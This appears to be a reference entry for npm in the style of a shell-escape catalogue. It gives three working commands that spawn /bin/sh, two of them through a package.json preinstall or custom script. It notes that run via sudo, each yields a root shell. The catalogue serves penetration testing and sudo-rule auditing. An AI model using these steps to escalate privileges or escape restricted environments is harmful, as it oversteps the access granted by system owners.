Shell

This executable can spawn an interactive system shell.
  1. This function can be performed by any unprivileged user.
    npm exec /bin/sh
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    npm exec /bin/sh
  2. This function can be performed by any unprivileged user.
    echo '{"scripts": {"preinstall": "/bin/sh"}}' >package.json
    npm -C . i
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    echo '{"scripts": {"preinstall": "/bin/sh"}}' >package.json
    npm -C . i
  3. This function can be performed by any unprivileged user.
    echo '{"scripts": {"xxx": "/bin/sh"}}' >package.json
    npm -C . run xxx
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    echo '{"scripts": {"xxx": "/bin/sh"}}' >package.json
    npm -C . run xxx